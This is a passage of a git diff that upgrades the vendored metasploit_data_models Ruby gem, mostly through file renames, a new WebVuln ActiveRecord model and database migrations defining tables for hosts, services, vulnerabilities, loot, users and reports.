lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb new file mode 100755 index 0000000000..4577818842 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb @@ -0,0 +1,144 @@ +# A Web Vulnerability found during a web scan or web audit. +# +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) in side an initializer so that +# your patches are reloaded on each request in development mode for your Rails application. +# +# @example extending Mdm::WebVuln +# # config/initializers/mdm_web_vuln.rb +# ActiveSupport.on_load(:mdm_web_vuln) do +# def confidence_percentage +# "#{confidence}%" +# end +# end +class Mdm::WebVuln < ActiveRecord::Base + # + # CONSTANTS + # + + # A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there + # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. + CONFIDENCE_RANGE = 1 .. 100 + + # Allowed {#method methods}. + METHODS = [ + 'GET', + # XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb + 'PATH', + 'POST' + ] + + # {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky). + RISK_RANGE = 0 .. 5 + + # + # Associations + # + + belongs_to :web_site, :class_name => 'Mdm::WebSite' + + # + # Attributes + # + + # @!attribute [rw] blame + # Who to blame for the vulnerability + # + # @return [String] + + # @!attribute [rw] category + # Category of this vulnerability. + # + # @return [String] + + # @!attribute [rw] confidence + # Percentage confidence scanner or auditor has that this vulnerability is not a false positive + # + # @return [Integer] 1% to 100% + + # @!attribute [rw] description + # Description of the vulnerability + # + # @return [String, nil] + + # @!attribute [rw] method + # HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method. + # + # @return [String] + # @see METHODS + + # @!attribute [rw] name + # Name of the vulnerability + # + # @return [String] + + # @!attribute [rw] path + # Path portion of URL + # + # @return [String] + + # @!attribute [rw] payload + # Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities. + # + # @return [String, nil] + + # @!attribute [rw] pname + # Name of parameter that demonstrates vulnerability + # + # @return [String] + + # @!attribute [rw] proof + # String that proves vulnerability, such as a code snippet, etc. + # + # @return [String] + + # @!attribute [rw] query + # The GET query. + # + # @return [String] + + # @!attribute [rw] request + # + # @return [String] + + # @!attribute [rw] risk + # {RISK_RANGE Risk} of leaving this vulnerability unpatched. + # + # @return [Integer] + + # + # Validations + # + + validates :category, :presence => true + validates :confidence, + :inclusion => { + :in => CONFIDENCE_RANGE + } + validates :method, + :inclusion => { + :in => METHODS + } + validates :name, :presence => true + validates :path, :presence => true + validates :params, :presence => true + validates :pname, :presence => true + validates :proof, :presence => true + validates :risk, + :inclusion => { + :in => RISK_RANGE + } + validates :web_site, :presence => true + + # + # Serializations + # + + # @!attribute [rw] params + # Parameters sent as part of request + # + # @return [Array>] Array of parameter key value pairs + serialize :params, MetasploitDataModels::Base64Serializer.new + + ActiveSupport.run_load_hooks(:mdm_web_vuln, self) +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb new file mode 100755 index 0000000000..efda742476 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb @@ -0,0 +1,79 @@ +class CreateTables < ActiveRecord::Migration + + def self.up + + create_table :hosts do |t| + t.timestamp :created + t.string :address, :limit => 16 # unique + t.string :address6 + t.string :mac + t.string :comm + t.string :name + t.string :state + t.string :info, :limit => 1024 + t.string :os_name + t.string :os_flavor + t.string :os_sp + t.string :os_lang + t.string :arch + end + + add_index :hosts, :address, :unique => true + + create_table :clients do |t| + t.integer :host_id + t.timestamp :created + t.string :ua_string, :limit => 1024, :null => false + t.string :ua_name, :limit => 64 + t.string :ua_ver, :limit => 32 + end + + create_table :services do |t| + t.integer :host_id + t.timestamp :created + t.integer :port, :null => false + t.string :proto, :limit => 16, :null => false + t.string :state + t.string :name + t.string :info, :limit => 1024 + end + + create_table :vulns do |t| + t.integer :host_id + t.integer :service_id + t.timestamp :created + t.string :name + t.text :data + end + + create_table :refs do |t| + t.integer :ref_id + t.timestamp :created + t.string :name, :limit => 512 + end + + create_table :vulns_refs, :id => false do |t| + t.integer :ref_id + t.integer :vuln_id + end + + create_table :notes do |t| + t.integer :host_id + t.timestamp :created + t.string :ntype, :limit => 512 + t.text :data + end + + end + + def self.down + drop_table :hosts + drop_table :clients + drop_table :services + drop_table :vulns + drop_table :refs + drop_table :vulns_refs + drop_table :notes + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb new file mode 100755 index 0000000000..e0d37098c2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb @@ -0,0 +1,35 @@ +class AddWmapTables < ActiveRecord::Migration + def self.up + create_table :wmap_targets do |t| + t.string :host # vhost + t.string :address, :limit => 16 # unique + t.string :address6 + t.integer :port + t.integer :ssl + t.integer :selected + end + + create_table :wmap_requests do |t| + t.string :host # vhost + t.string :address, :limit => 16 # unique + t.string :address6 + t.integer :port + t.integer :ssl + t.string :meth, :limit => 32 + t.text :path + t.text :headers + t.text :query + t.text :body + t.string :respcode, :limit => 16 + t.text :resphead + t.text :response + t.timestamp :created + end + end + + def self.down + drop_table :wmap_targets + drop_table :wmap_requests + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb new file mode 100755 index 0000000000..9afe792ef5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb @@ -0,0 +1,36 @@ +class AddWorkspaces < ActiveRecord::Migration + + def self.up + create_table :workspaces do |t| + t.string :name + t.timestamps + end + + change_table :hosts do |t| + t.integer :workspace_id, :required => true + end + + remove_index :hosts, :column => :address + + # + # This was broken after 018_add_workspace_user_info was introduced + # because of the new boundary column. For some reason, the + # find_or_create_by_name that .default eventually calls here tries to + # create a record with the boundary field that doesn't exist yet. + # See #1724 + # + #w = Msf::DBManager::Workspace.default + #Msf::DBManager::Host.update_all ["workspace_id = ?", w.id] + end + + def self.down + drop_table :workspaces + + change_table :hosts do |t| + t.remove :workspace_id + end + + add_index :hosts, :address, :unique => true + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb new file mode 100755 index 0000000000..3aedba8e20 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb @@ -0,0 +1,20 @@ +class MoveNotes < ActiveRecord::Migration + def self.up + # Remove the host requirement. We'll add the column back in below. + remove_column :notes, :host_id + change_table :notes do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.integer :service_id + t.integer :host_id + end + end + + def self.down + remove_column :notes, :workspace_id + remove_column :notes, :service_id + change_table :notes do |t| + t.integer :host_id, :null => false + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb new file mode 100755 index 0000000000..a89d75281e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb @@ -0,0 +1,16 @@ +class AddEventsTable < ActiveRecord::Migration + def self.up + create_table :events do |t| + t.integer :workspace_id + t.integer :host_id + t.timestamp :created_at + t.string :user + t.string :name + t.string :info + end + end + def self.down + drop_table :events + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb new file mode 100755 index 0000000000..bd34021e11 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb @@ -0,0 +1,58 @@ +class ExpandInfo < ActiveRecord::Migration + def self.up + remove_column :events, :info + change_table :events do |t| + t.string :info, :limit => 4096 + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 4096 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 4096 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 4096 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 4096 + end + end + + def self.down + + remove_column :events, :info + change_table :events do |t| + t.string :info + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 1024 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 1024 + end + + remove_column :vulns, :data + change_table :hosts do |t| + t.string :data, :limit => 1024 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 1024 + end + + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb new file mode 100755 index 0000000000..446a83aa29 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb @@ -0,0 +1,26 @@ + +# Adds 'created_at' and 'updated_at' columns to every primary table. +# +class AddTimestamps < ActiveRecord::Migration + + @@TABLES_NEEDING_RENAME = [:clients, :hosts, :notes, :refs, :services, :vulns, :wmap_requests] + @@TABLES_NEEDING_CREATED_AT = [:wmap_targets] + @@TABLES_NEEDING_UPDATED_AT = [:clients, :events, :hosts, :notes, :refs, :services, :vulns, :wmap_requests, :wmap_targets] + + def self.up + @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created, :created_at } + + @@TABLES_NEEDING_CREATED_AT.each { |t| add_column t, :created_at, :datetime } + + @@TABLES_NEEDING_UPDATED_AT.each { |t| add_column t, :updated_at, :datetime } + end + + def self.down + @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created_at, :created } + + @@TABLES_NEEDING_CREATED_AT.each { |t| remove_column t, :created_at } + + @@TABLES_NEEDING_UPDATED_AT.each { |t| remove_column t, :updated_at } + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb new file mode 100755 index 0000000000..32786f8cfb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb @@ -0,0 +1,20 @@ +class AddLoots < ActiveRecord::Migration + + def self.up + create_table :loots do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.integer :host_id + t.integer :service_id + t.string :ltype, :limit => 512 + t.string :path, :limit => 1024 + t.text :data + t.timestamps + end + end + + def self.down + drop_table :loots + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb new file mode 100755 index 0000000000..4cc32cc6e4 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb @@ -0,0 +1,16 @@ +class CreateUsers < ActiveRecord::Migration + def self.up + create_table :users do |t| + t.string :username + t.string :crypted_password + t.string :password_salt + t.string :persistence_token + + t.timestamps + end + end + + def self.down + drop_table :users + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb new file mode 100755 index 0000000000..0aad1366fb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb @@ -0,0 +1,10 @@ +class AddLootsCtype < ActiveRecord::Migration + def self.up + add_column :loots, :content_type, :string + end + + def self.down + remove_column :loots, :content_type + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb new file mode 100755 index 0000000000..f99dd68d32 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb @@ -0,0 +1,16 @@ +class AddAlertFields < ActiveRecord::Migration + def self.up + add_column :notes, :critical, :boolean + add_column :notes, :seen, :boolean + add_column :events, :critical, :boolean + add_column :events, :seen, :boolean + end + + def self.down + remove_column :notes, :critical + remove_column :notes, :seen + remove_column :events, :critical + remove_column :events, :seen + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb new file mode 100755 index 0000000000..2f16e8b70d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb @@ -0,0 +1,19 @@ +class AddReports < ActiveRecord::Migration + + def self.up + create_table :reports do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :rtype + t.string :path, :limit => 1024 + t.text :options + t.timestamps + end + end + + def self.down + drop_table :reports + end + +end + diff --git 